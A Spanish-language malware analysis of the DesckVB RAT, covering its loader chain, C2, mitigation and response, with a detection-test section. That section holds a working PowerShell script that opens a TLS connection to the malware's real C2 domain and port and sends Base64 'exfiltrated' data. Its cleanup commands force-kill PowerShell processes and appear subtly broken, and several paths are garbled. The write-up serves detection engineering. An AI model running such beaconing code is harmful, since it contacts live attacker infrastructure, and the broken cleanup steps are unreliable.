Análisis de DesckVB RAT: Desde el Cargador de JavaScript hasta el RAT Fileless .NET

Resumen

DesckVB RAT es un troyano impulsado por JavaScript que conecta con un cargador de PowerShell para obtener y ejecutar un DLL .NET sin archivos directamente en la memoria. Para ocultar la ejecución, el cargador recurre a la codificación Base64 y ofuscación de cadena inversa, abusa de InstallUtil.exe como LOLBin y lanza un nuevo proceso usando CreateProcessA. Una vez activo, el RAT establece comunicaciones C2 cifradas por HTTPS y soporta módulos para registro de teclas, acceso a la cámara web y descubrimiento anti-AV.

Investigación

El análisis indica que la etapa inicial de JavaScript escribe un script de PowerShell en C:UsersPublic, luego se comunica con un dominio ofuscado para descargar un ensamblado .NET (por ejemplo, ClassLibrary3.dll). El ensamblado carga las DLL de soporte, crea un proceso suspendido e inyecta código de carga mientras reporta detalles de configuración como un dominio y puerto malicioso secundario. La telemetría de red confirma las comunicaciones cifradas por TLS del anfitrión infectado a la infraestructura C2 del atacante.

Mitigación

Bloquee la ejecución de scripts de PowerShell no confiables o no firmados y restrinja el uso de InstallUtil.exe para flujos de trabajo no administrativos o inesperados. Aplique controles estrictos de salida, incluida la inspección HTTPS donde sea factible y filtrado de reputación de dominio para la infraestructura maliciosa identificada. En los puntos finales, detecte el uso de CreateProcessA con señales de procesos suspendidos y alerte sobre patrones de carga de ensamblados .NET en memoria consistentes con la inyección sin archivos.

Respuesta

Si se detectan indicadores, aísle el punto final, detenga la cadena de procesos maliciosa y capture volcados de memoria para el análisis de ensamblados en memoria y regiones inyectadas. Elimine los artefactos de PowerShell en C:UsersPublic y erradique cualquier DLL relacionada o restos del cargador. Restablezca las credenciales impactadas, rode siempre las claves expuestas, y revise los registros de firewall/proxy para conexiones salientes a los dominios y puertos listados.

Ejecución de Simulación

Requisito previo: la Verificación Previa de Telemetría & Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del atacante (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

• Narrativa de Ataque y Comandos:
  El atacante, habiendo obtenido un punto de apoyo inicial, lanza una carga útil basada en PowerShell ‘living-off-the-land’ que abre una conexión TCP envuelta en TLS al dominio C2 codificado manikandan83.mysynology.net en el puerto 7535. La carga útil codifica un bloque de datos ficticio con Base64 (ilustrando T1132.002) y lo transmite a través del canal TLS. Debido a que las clases .NET de PowerShell son utilizadas, no se escriben binarios externos en el disco, imitando la naturaleza sin archivos de DesckVB RAT. La conexión es establecida por un proceso hijo (powershell.exe) que será capturado por Sysmon como un evento de conexión de red con el dominio exacto, puerto y señal de apretón de manos TLS que la regla monitorea.

• Script de Prueba de Regresión:

  # --------------------------------------------------------------
  # Simulación de Comunicación C2 de DesckVB RAT (PowerShell)
  # --------------------------------------------------------------
  # Parámetros
  $c2Domain = "manikandan83.mysynology.net"
  $c2Port   = 7535
  
  # Carga útil ficticia (codificada en Base64) – representa datos exfiltrados
  $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
  
  try {
      # Establecer conexión TCP
      $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
      $netStream = $tcpClient.GetStream()
  
      # Envolver con TLS (SslStream)
      $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
      $sslStream.AuthenticateAsClient($c2Domain)
  
      Write-Host "[+] Se completó el apretón de manos TLS con $c2Domain:$c2Port"
  
      # Enviar prefijo de longitud de carga útil (4 bytes, big-endian) luego los datos
      $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
      $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
      $sslStream.Write($len,0,$len.Length)
      $sslStream.Write($bytes,0,$bytes.Length)
      $sslStream.Flush()
      Write-Host "[+] Carga útil enviada (longitud Base64 $($bytes.Length))"
  
  } catch {
      Write-Error "[-] Falló la conexión: $_"
  } finally {
      # Cierre limpio
      if ($sslStream) { $sslStream.Close() }
      if ($netStream) { $netStream.Close() }
      if ($tcpClient) { $tcpClient.Close() }
      Write-Host "[*] Conexión terminada."
  }

• Comandos de Limpieza:

  # Asegúrese de que cualquier conexión NetTCP de PowerShell persistente esté cerrada
  Get-Process -Name powershell | Where-Object {
      $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
  } | Stop-Process -Force
  
  # Opcional: Eliminar Sysmon (si este es un entorno de prueba única)
  # &$ '"$env:ProgramFilesSysmonSysmon.exe' -u